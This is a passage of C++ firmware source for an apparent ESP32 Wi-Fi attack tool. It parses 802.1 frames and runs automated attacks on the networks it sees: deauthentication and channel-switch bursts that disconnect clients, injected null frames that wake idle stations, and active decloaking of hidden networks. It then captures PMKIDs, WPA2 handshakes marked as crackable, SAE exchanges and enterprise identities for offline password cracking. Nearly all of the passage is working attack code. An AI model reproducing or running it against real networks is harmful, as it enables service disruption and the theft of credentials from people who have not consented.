730 if (subtype == MGMT_SUB_PROBE_REQ) {
731 if (_probeReqCb || _fpHook) {
732 char fp_ssid[33] = {};
733 uint8_t fp_ssid_len = 0;
734 _parseSsid(payload, len, fp_ssid, fp_ssid_len);
735 if (_probeReqCb) {
736 ProbeRequestRecord rec;
737 memset(&rec, 0, sizeof(rec));
738 memcpy(rec.client, hdr->addr2, 6);
739 rec.channel = _rxChannel;
740 rec.rssi = rssi;
741 rec.rand_mac = (rec.client[0] & 0x02) != 0;
742 memcpy(rec.ssid, fp_ssid, fp_ssid_len);
743 rec.ssid_len = fp_ssid_len;
744 _probeReqCb(rec);
745 }
746 if (_fpHook) _fpHook(hdr->addr2, fp_ssid, fp_ssid_len, _rxChannel, rssi, payload, len);
747 }
748 return;
749 }
750
751 if (subtype == MGMT_SUB_DEAUTH || subtype == MGMT_SUB_DISASSOC) {
752 if (_disruptCb) {
753 DisruptRecord rec;
754 memset(&rec, 0, sizeof(rec));
755 memcpy(rec.src, hdr->addr2, 6);
756 memcpy(rec.dst, hdr->addr1, 6);
757 memcpy(rec.bssid, hdr->addr3, 6);
758 rec.reason = (len >= 2) ? (((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8)) : 0;
759 rec.subtype = subtype;
760 rec.channel = _rxChannel;
761 rec.rssi = rssi;
762 rec.rand_mac = (rec.src[0] & 0x02) != 0;
763 _disruptCb(rec);
764 }
765 return;
766 }
767
768 // Parse both Beacons and Probe Responses.
769 // Sniffing Probe Responses automatically enables Active Decloaking
770 // of Hidden Networks when clients reconnect following a CSA/Deauth attack.
771 if (subtype == MGMT_SUB_BEACON || subtype == MGMT_SUB_PROBE_RESP) {
772 _stats.beacons++;
773 _channelTrafficSeen = true;
774 if (len < 12) return;
775
776 const uint8_t *ie = payload + 12;
777 uint16_t ie_len = (len > 12) ? len - 12 : 0;
778
779 uint8_t beacon_ch = _rxChannel;
780 {
781 uint16_t pos = 0;
782 while (pos + 2 <= ie_len) {
783 uint8_t tag = ie[pos];
784 uint8_t tlen = ie[pos + 1];
785 if (pos + 2 + tlen > ie_len) break;
786 if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2]; break; }
787 pos += 2 + tlen;
788 }
789 }
790
791 ApRecord ap;
792 memcpy(ap.bssid, hdr->addr3, 6);
793 ap.channel = beacon_ch;
794 ap.rssi = rssi;
795 _parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
796 ap.enc = _classifyEnc(ie, ie_len);
797 if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1; // WEP Privacy bit
798
799 // WPS IE: vendor-specific tag 0xDD, OUI 00:50:F2, type 0x04
800 ap.wps_enabled = false;
801 {
802 uint16_t wp = 0;
803 while (wp + 2 <= ie_len) {
804 uint8_t wtag = ie[wp], wlen = ie[wp + 1];
805 if (wp + 2 + wlen > ie_len) break;
806 if (wtag == 221 && wlen >= 4 &&
807 ie[wp+2]==0x00 && ie[wp+3]==0x50 && ie[wp+4]==0xF2 && ie[wp+5]==0x04) {
808 ap.wps_enabled = true; break;
809 }
810 wp += 2 + wlen;
811 }
812 }
813
814 if (ap.rssi < _cfg.min_rssi) return;
815
816 if (_fpHook) _fpHook(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch, rssi, ie, ie_len);
817
818 // Execute targeting filter
819 if (_filterCb && !_filterCb(ap)) return;
820
821 uint8_t effMask = _getAttackMask(ap.bssid);
822
823 bool is_wpa3_only = (ap.enc >= 3) && _detectWpa3Only(ie, ie_len);
824 bool pmf_capable = false, pmf_required = false;
825 if (ap.enc >= 3) _detectPmfFlags(ie, ie_len, pmf_capable, pmf_required);
826 ap.pmf_capable = pmf_capable;
827 ap.pmf_required = pmf_required;
828 uint8_t ft_capable = (ap.enc >= 3) && _detectFt(ie, ie_len);
829 ap.ft_capable = ft_capable;
830
831 // BSS Load IE (Tag 11) and Interworking IE (Tag 107)
832 uint16_t sta_count = 0;
833 uint8_t chan_util = 0;
834 uint8_t venue_group = 0;
835 uint8_t venue_type = 0;
836 uint8_t network_type = 0;
837 {
838 uint16_t pos = 0;
839 while (pos + 2 <= ie_len) {
840 uint8_t tag = ie[pos];
841 uint8_t tlen = ie[pos + 1];
842 if (pos + 2 + tlen > ie_len) break;
843 if (tag == 11 && tlen >= 5) {
844 sta_count = ((uint16_t)ie[pos + 2]) | ((uint16_t)ie[pos + 3] << 8);
845 chan_util = ie[pos + 4];
846 } else if (tag == 107 && tlen >= 1) {
847 network_type = ie[pos + 2] & 0x0F;
848 if (tlen >= 3) {
849 venue_group = ie[pos + 3];
850 venue_type = ie[pos + 4];
851 }
852 }
853 pos += 2 + tlen;
854 }
855 }
856
857 ap.venue_group = venue_group;
858 ap.venue_type = venue_type;
859 ap.network_type = network_type;
860 ap.captured = _isCaptured(ap.bssid);
861
862 ApCacheEntry* entry = _cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch, rssi,
863 is_wpa3_only, ap.wps_enabled, pmf_capable, pmf_required, ft_capable,
864 sta_count, chan_util, venue_group, venue_type, network_type);
865
866 // Parse beacon interval (fixed field bytes 8-9) and max legacy data rate
867 if (entry) {
868 uint16_t bint = (len >= 10) ? (((uint16_t)payload[8]) | ((uint16_t)payload[9] << 8)) : 0;
869 uint8_t maxr = 0;
870 uint16_t pos = 0;
871 while (pos + 2 <= ie_len) {
872 uint8_t tag = ie[pos], tlen = ie[pos + 1];
873 if (pos + 2 + tlen > ie_len) break;
874 if (tag == 1 || tag == 50) { // Supported Rates / Extended Supported Rates
875 for (uint8_t ri = 0; ri < tlen; ri++) {
876 uint8_t r = (ie[pos + 2 + ri] & 0x7F); // 500 kbps units
877 if (r > maxr) maxr = r;
878 }
879 }
880 pos += 2 + tlen;
881 }
882 if (bint > 0) entry->beacon_interval = bint;
883 if (maxr > 0) entry->max_rate_mbps = maxr / 2; // convert to Mbps
884 }
885
886 // Parse IE 7 (Country) and store in cache
887 if (entry) {
888 uint16_t pos = 0;
889 while (pos + 2 <= ie_len) {
890 uint8_t tag = ie[pos], tlen = ie[pos + 1];
891 if (pos + 2 + tlen > ie_len) break;
892 if (tag == 7 && tlen >= 2) {
893 entry->country[0] = ie[pos + 2];
894 entry->country[1] = ie[pos + 3];
895 entry->country[2] = '\0';
896 break;
897 }
898 pos += 2 + tlen;
899 }
900 }
901
902 // Fire apFoundCb only once min_beacon_count is satisfied
903 if (_apFoundCb) {
904 bool threshold_ok = true;
905 if (_cfg.min_beacon_count > 0 && entry) {
906 threshold_ok = (entry->beacon_count >= _cfg.min_beacon_count);
907 }
908 if (threshold_ok) _apFoundCb(ap);
909 }
910
911 // Execute active probing for hidden networks
912 if (ap.ssid_len == 0 && _cfg.probe_hidden_interval_ms > 0) {
913 if (entry && (millis() - entry->last_hidden_probe_ms >= _cfg.probe_hidden_interval_ms)) {
914 entry->last_hidden_probe_ms = millis();
915 _sendProbeRequest(ap.bssid);
916 }
917 }
918
919 if (ap.ssid_len > 0 && beacon_ch > 0) {
920 if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0) return;
921
922 // --- CLIENT WAKE-UP STIMULATION ---
923 if (((hdr->frame_ctrl & FC_SUBTYPE_MASK) == MGMT_SUB_BEACON) && (effMask & ATTACK_STIMULATE)) {
924 for (int i = 0; i < MAX_AP_CACHE; i++) {
925 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
926 if (!_apCache[i].flags.has_active_clients && (millis() - _apCache[i].last_stimulate_ms > 15000)) {
927 _apCache[i].last_stimulate_ms = millis();
928
929 // Hardware-Level Null Data Injection (FromDS=1, MoreData=1)
930 // Triggered exactly on the microsecond the sleeping client's radio turns on
931 uint8_t wake_null[24] = {
932 0x48, 0x22, 0x00, 0x00, // FC: Null Function, ToDS=0, FromDS=1, MoreData=1
933 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // DA: Broadcast
934 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // BSSID
935 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // SA
936 0x00, 0x00 // Sequence
937 };
938 esp_wifi_80211_tx(WIFI_IF_STA, wake_null, sizeof(wake_null), false);
939 _log("[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
940 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
941 }
942 break;
943 }
944 }
945 }
946 }
947
948 bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
949 if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
950
951 if (canFish && _fishState == FISH_IDLE) {
952 if (effMask & ATTACK_PMKID) {
953 for (int i = 0; i < MAX_AP_CACHE; i++) {
954 if (!_apCache[i].flags.active) continue;
955 if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0) continue;
956
957 if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) break;
958 if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) break;
959 if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) break;
960
961 uint32_t throttle_ms = _hasTarget ? 0u
962 : _apCache[i].flags.has_active_clients ? 15000u
963 : (uint32_t)_cfg.probe_aggr_interval_s * 1000u;
964 uint32_t elapsed = millis() - _apCache[i].last_probe_ms;
965 if (elapsed >= throttle_ms) {
966 _apCache[i].last_probe_ms = millis();
967 _startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
968 }
969 break;
970 }
971 } else if (effMask & (ATTACK_CSA | ATTACK_DEAUTH)) {
972 // Immunity check applies regardless of which attack method is active
973 for (int i = 0; i < MAX_AP_CACHE; i++) {
974 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
975 if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) return;
976 if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) return;
977 if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) return;
978 break;
979 }
980 }
981 // Find a known STA for unicast deauth — prefer persistent client records
982 memset(_fishSta, 0, 6);
983 for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
984 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0 && _apCache[ci].known_sta_count > 0) {
985 memcpy(_fishSta, _apCache[ci].known_stas[0], 6); break;
986 }
987 }
988 if (!(_fishSta[0] || _fishSta[1] || _fishSta[2])) {
989 for (int s = 0; s < MAX_SESSIONS; s++) {
990 if (_sessions[s].flags.active && _sessions[s].flags.has_m2 && memcmp(_sessions[s].bssid, ap.bssid, 6) == 0) {
991 memcpy(_fishSta, _sessions[s].sta, 6); break;
992 }
993 }
994 }
995 memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] = '\0';
996 _fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs = millis();
997 _fishState = FISH_CSA_WAIT;
998 _csaSecondBurstSent = false;
999 if (effMask & ATTACK_CSA) _sendCsaBurst();
1000 const uint8_t *known_sta = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1001 _csaFallbackMs = 0;
1002 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
1003 if (effMask & ATTACK_DEAUTH) _sendDeauthBurst((effMask & ATTACK_CSA) ? _cfg.csa_deauth_count : _cfg.deauth_burst_count, known_sta);
1004 } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
1005 if ((effMask & ATTACK_CSA) && (effMask & ATTACK_DEAUTH)) {
1006 // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
1007 _csaFallbackMs = millis() + 1000;
1008 } else if (effMask & ATTACK_DEAUTH) {
1009 _sendDeauthBurst(_cfg.deauth_burst_count, known_sta);
1010 }
1011 }
1012 _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
1013 _log("[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
1014 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
1015 }
1016 // ----------------------------------
1017 }
1018 } else if (subtype == MGMT_SUB_ASSOC_REQ) {
1019 _recordClientForAp(hdr->addr1, hdr->addr2, rssi);
1020 } else if (subtype == MGMT_SUB_AUTH) {
1021 if (len < 6) return;
1022 uint16_t auth_alg = ((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8);
1023 uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1024 uint16_t status = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
1025
1026 if (auth_alg == 0) { // Open System (Standard WPA2 fishing path)
1027 if (auth_seq == 2 && !_fishAuthLogged) {
1028 _fishAuthLogged = true;
1029 _log("[Auth] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1030 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1031 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
1032 }
1033 } else if (auth_alg == 3) { // SAE (WPA3)
1034 if (status == 0) {
1035 _stats.sae_found++;
1036 _log("[SAE] %s from %02X:%02X:%02X:%02X:%02X:%02X rssi=%d\n",
1037 (auth_seq == 1) ? "Commit" : (auth_seq == 2) ? "Confirm" : "Auth",
1038 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1039 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], rssi);
1040
1041 if (_eapolCb) {
1042 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1043 rec.type = CAP_SAE; rec.channel = _rxChannel; rec.rssi = rssi;
1044 memcpy(rec.bssid, hdr->addr3, 6); memcpy(rec.sta, hdr->addr2, 6);
1045 _lookupSsid(rec.bssid, rec.ssid, rec.ssid_len);
1046 _lookupEnc(rec.bssid, rec.enc);
1047
1048 // Store the raw SAE authentication body (after the 6-byte fixed header)
1049 uint16_t sae_body_len = (len > 6) ? len - 6 : 0;
1050 if (sae_body_len > 256) sae_body_len = 256;
1051 memcpy(rec.sae_data, payload + 6, sae_body_len);
1052 rec.sae_len = sae_body_len;
1053 rec.sae_seq = (uint8_t)auth_seq;
1054 rec.is_full = (auth_seq == 2); // Confirm frame is the end of successful SAE exchange
1055
1056 _eapolCb(rec);
1057 }
1058 }
1059 }
1060 } else if (subtype == MGMT_SUB_ASSOC_RESP) {
1061 if (len < 6 || !_eapolCb) return;
1062 const uint8_t *ie = payload + 6;
1063 uint16_t ie_len = (len > 6) ? len - 6 : 0;
1064 const uint8_t *bssid = hdr->addr2;
1065 const uint8_t *sta = hdr->addr1;
1066
1067 uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1068 if (!_fishAssocLogged) {
1069 _fishAssocLogged = true;
1070 _log("[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1071 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
1072 }
1073 if (status != 0) return;
1074
1075 uint16_t pos = 0;
1076 while (pos + 2 <= ie_len) {
1077 uint8_t tag = ie[pos];
1078 uint8_t tlen = ie[pos + 1];
1079 if (pos + 2 + tlen > ie_len) break;
1080 if (tag == 48 && tlen >= 20) {
1081 const uint8_t *rsn = ie + pos + 2;
1082 uint16_t rlen = tlen;
1083 uint16_t off = 2; off += 4;
1084 uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1085 off += 2 + pw_cnt * 4;
1086 uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1087 off += 2 + akm_cnt * 4;
1088 off += 2;
1089 uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1090 off += 2;
1091 if (pmkid_cnt > 0 && off + 16 <= rlen) {
1092 const uint8_t *pmkid_raw = rsn + off;
1093 bool pmkid_valid = false;
1094 for (int pi = 0; pi < 16; pi++) if (pmkid_raw[pi]) { pmkid_valid = true; break; }
1095 if (pmkid_valid) {
1096 _stats.pmkid_found++; _stats.captures++;
1097 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1098 rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1099 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1100 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1101 _lookupEnc(bssid, rec.enc);
1102 memcpy(rec.pmkid, pmkid_raw, 16);
1103 _log("[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
1104 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1105 _markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
1106 if (_eapolCb) _eapolCb(rec);
1107 }
1108 }
1109 }
1110 pos += 2 + tlen;
1111 }
1112 }
1113}
1114
1115void Politician::_handleData(const ieee80211_hdr_t *hdr, const uint8_t *payload,
1116 uint16_t len, int8_t rssi) {
1117 if (len < EAPOL_MIN_FRAME_LEN) return;
1118 if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return;
1119 if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00) return;
1120 if (payload[6] != EAPOL_ETHERTYPE_HI || payload[7] != EAPOL_ETHERTYPE_LO) return;
1121
1122 _stats.eapol++;
1123 _channelTrafficSeen = true;
1124
1125 bool toDS = (hdr->frame_ctrl & FC_TODS_MASK) != 0;
1126 bool fromDS = (hdr->frame_ctrl & FC_FROMDS_MASK) != 0;
1127
1128 const uint8_t *bssid;
1129 const uint8_t *sta;
1130
1131 if (toDS && !fromDS) {
1132 bssid = hdr->addr1; sta = hdr->addr2;
1133 } else if (!toDS && fromDS) {
1134 bssid = hdr->addr2; sta = hdr->addr1;
1135 } else {
1136 bssid = hdr->addr3; sta = hdr->addr2;
1137 }
1138
1139 const uint8_t *eapol = payload + EAPOL_LLC_SIZE;
1140 uint16_t eapol_len = len - EAPOL_LLC_SIZE;
1141
1142 if (eapol_len >= 4) {
1143 if (eapol[1] == 0x00 && _identityCb != nullptr) {
1144 // Decoupled 802.1X Enterprise Identity Interception
1145 _parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
1146 } else if (eapol[1] == 0x03) {
1147 // Standard WPA2/WPA3 EAPOL-Key Handshake Layer
1148 _parseEapol(bssid, sta, eapol, eapol_len, rssi);
1149 }
1150 }
1151}
1152
1153bool Politician::_parseEapol(const uint8_t *bssid, const uint8_t *sta,
1154 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1155 if (_isCaptured(bssid)) return false;
1156 if (len < 4 || eapol[1] != 0x03) return false;
1157
1158 // sta_filter: only process sessions involving the specified client MAC
1159 static const uint8_t zero_mac[6] = {};
1160 if (memcmp(_cfg.sta_filter, zero_mac, 6) != 0 && memcmp(sta, _cfg.sta_filter, 6) != 0) return false;
1161
1162 const uint8_t *key = eapol + 4;
1163 uint16_t key_len = len - 4;
1164 if (key_len < EAPOL_KEY_DATA_LEN + 2) return false;
1165 if (key[EAPOL_KEY_DESC_TYPE] != 0x02) return false; // Must be RSN/WPA2 descriptor
1166
1167 uint16_t key_info = ((uint16_t)key[EAPOL_KEY_INFO] << 8) | key[EAPOL_KEY_INFO + 1];
1168 bool is_pairwise = (key_info & KEYINFO_PAIRWISE) != 0;
1169 if (!is_pairwise) {
1170 if (_cfg.capture_group_keys && _eapolCb) {
1171 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1172 rec.type = CAP_EAPOL_GROUP; rec.channel = _rxChannel; rec.rssi = rssi;
1173 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1174 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1175 _lookupEnc(bssid, rec.enc);
1176 _log("[EAPOL] Group key handshake from %02X:%02X:%02X:%02X:%02X:%02X\n",
1177 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1178 _eapolCb(rec);
1179 }
1180 return false;
1181 }
1182
1183 uint8_t msg = 0;
1184 if ( (key_info & KEYINFO_ACK) && !(key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL)) msg = 1;
1185 else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && !(key_info & KEYINFO_SECURE)) msg = 2;
1186 else if ((key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && (key_info & KEYINFO_INSTALL)) msg = 3;
1187 else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && (key_info & KEYINFO_SECURE)) msg = 4;
1188
1189 if (msg == 0) return false;
1190
1191 _log("[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
1192 msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
1193
1194 if (msg == 3 || msg == 4) {
1195 _recordClientForAp(bssid, sta, rssi);
1196
1197 // Refresh channel lock if we see M3/M4
1198 if (_hopping && _m1Locked) {
1199 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1200 }
1201
1202 Session *sess = _findSession(bssid, sta);
1203 if (!sess) return true;
1204
1205 if (msg == 3) {
1206 uint16_t store_len = (len < 256) ? len : 256;
1207 if (sess->m3_off + store_len <= sizeof(sess->eapol_buffer)) {
1208 memcpy(sess->eapol_buffer + sess->m3_off, eapol, store_len);
1209 sess->m3_len = store_len;
1210 sess->flags.has_m3 = true;
1211 sess->m4_off = sess->m3_off + store_len; // Advance M4 offset safely
1212 }
1213 } else if (msg == 4) {
1214 uint16_t store_len = (len < 256) ? len : 256;
1215 if (sess->m4_off + store_len <= sizeof(sess->eapol_buffer)) {
1216 memcpy(sess->eapol_buffer + sess->m4_off, eapol, store_len);
1217 sess->m4_len = store_len;
1218 sess->flags.has_m4 = true;
1219 }
1220
1221 // Full Handshake sequence complete!
1222 if (sess->flags.has_m1 && sess->flags.has_m2) {
1223 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1224 rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
1225 rec.channel = sess->channel; rec.rssi = sess->rssi;
1226 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1227 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1228 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1229 memcpy(rec.mic, sess->mic, 16);
1230 memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len); rec.eapol_m2_len = sess->m2_len;
1231 memcpy(rec.eapol_m3, sess->eapol_buffer + sess->m3_off, sess->m3_len); rec.eapol_m3_len = sess->m3_len;
1232 memcpy(rec.eapol_m4, sess->eapol_buffer + sess->m4_off, sess->m4_len); rec.eapol_m4_len = sess->m4_len;
1233 rec.has_anonce = true; rec.has_snonce = sess->flags.has_m2; rec.has_mic = true;
1234 rec.has_m3 = sess->flags.has_m3; rec.has_m4 = true;
1235 rec.is_full = true;
1236
1237 _log("[EAPOL] Full 4-Way Handshake captured for %02X:%02X:%02X:%02X:%02X:%02X\n",
1238 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1239
1240 if (_eapolCb) _eapolCb(rec);
1241 sess->flags.active = false; // Close session
1242 }
1243 }
1244 return true;
1245 }
1246
1247 Session *sess = _findSession(bssid, sta);
1248 if (!sess) sess = _createSession(bssid, sta);
1249 if (!sess) return false;
1250
1251 sess->channel = _rxChannel; sess->rssi = rssi;
1252
1253 if (msg == 1) {
1254 bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
1255 if (!isOurFishM1 && !(_attackMask & ATTACK_PASSIVE)) return false;
1256
1257 if (key_len < EAPOL_KEY_NONCE + 32) return false;
1258 memcpy(sess->anonce, key + EAPOL_KEY_NONCE, 32);
1259 memcpy(sess->m1_replay_counter, key + EAPOL_REPLAY_COUNTER, 8);
1260 sess->flags.has_m1 = true;
1261
1262 if (_hopping && !_m1Locked) {
1263 _probeLocked = false; _m1Locked = true;
1264 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1265 }
1266 if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1267
1268 uint16_t kdata_len = ((uint16_t)key[EAPOL_KEY_DATA_LEN] << 8) | key[EAPOL_KEY_DATA_LEN + 1];
1269 if (kdata_len >= 18 && key_len >= EAPOL_KEY_DATA + kdata_len) {
1270 const uint8_t *kdata = key + EAPOL_KEY_DATA;
1271 for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
1272 if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
1273 const uint8_t *pmkid_raw = kdata + i + 6;
1274 bool pmkid_valid = false;
1275 for (int pi = 0; pi < 16; pi++) if (pmkid_raw[pi]) { pmkid_valid = true; break; }
1276 if (pmkid_valid) {
1277 _stats.pmkid_found++; _stats.captures++;
1278 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1279 rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1280 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1281 memcpy(rec.ssid, sess->ssid, sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
1282 _lookupEnc(bssid, rec.enc);
1283 memcpy(rec.pmkid, pmkid_raw, 16);
1284 _log("[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
1285 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1286 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1287 if (_eapolCb) _eapolCb(rec);
1288 }
1289 break;
1290 }
1291 }
1292 }
1293 } else if (msg == 2) {
1294 if (memcmp(sta, _ownStaMac, 6) == 0) return false;
1295 if (key_len < EAPOL_KEY_MIC + 16) return false;
1296 if (sess->flags.has_m1 && memcmp(key + EAPOL_REPLAY_COUNTER, sess->m1_replay_counter, 8) != 0) return false;
1297
1298 // Refresh channel lock if we see M2
1299 if (_hopping && _m1Locked) {
1300 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1301 }
1302
1303 memcpy(sess->mic, key + EAPOL_KEY_MIC, 16);
1304 if (key_len >= EAPOL_KEY_NONCE + 32) {
1305 memcpy(sess->snonce, key + EAPOL_KEY_NONCE, 32);
1306 }
1307
1308 uint16_t store_len = (len < 256) ? len : 256;
1309 sess->m2_off = 0;
1310 memcpy(sess->eapol_buffer + sess->m2_off, eapol, store_len); sess->m2_len = store_len;
1311 if (store_len >= 4 + EAPOL_KEY_MIC + 16) memset(sess->eapol_buffer + sess->m2_off + 4 + EAPOL_KEY_MIC, 0, 16);
1312
1313 // Prepare offsets for subsequent messages
1314 sess->m3_off = store_len;
1315 sess->m4_off = store_len; // Point M4 to the same offset. It will be advanced if M3 arrives first.
1316
1317 bool is_new_m2 = !sess->flags.has_m2;
1318 sess->flags.has_m2 = true;
1319 _recordClientForAp(bssid, sta, rssi);
1320
1321 if (sess->flags.has_m1) {
1322 static const uint8_t zero_mic[16] = {};
1323 if (memcmp(sess->mic, zero_mic, 16) == 0) {
1324 _log("[EAPOL] M2 MIC is zero — discarding malformed frame\n");
1325 sess->flags.active = false;
1326 return true;
1327 }
1328 uint32_t now_cap = millis();
1329 if (memcmp(bssid, _lastCapBssid, 6) == 0 && memcmp(sta, _lastCapSta, 6) == 0 &&
1330 (now_cap - _lastCapMs) < _cfg.session_timeout_ms) {
1331 // We already have a complete crackable pair for this recently,
1332 // but we keep the session alive to capture M3/M4 if possible.
1333 return true;
1334 }
1335 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1336 rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
1337 rec.channel = sess->channel; rec.rssi = sess->rssi;
1338 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1339 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1340 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1341 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1342 rec.eapol_m2_len = sess->m2_len; rec.has_anonce = true; rec.has_snonce = true; rec.has_mic = true;
1343 rec.is_full = false; // Crackable pair but not a full 4-way sequence
1344
1345 _log("[EAPOL] Crackable pair (M1+M2) captured for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
1346 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1347
1348 _stats.captures++;
1349 memcpy(_lastCapBssid, bssid, 6); memcpy(_lastCapSta, sta, 6); _lastCapMs = now_cap;
1350 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1351 if (_eapolCb) _eapolCb(rec);
1352
1353 // Session remains ACTIVE to potentially catch M3 and M4
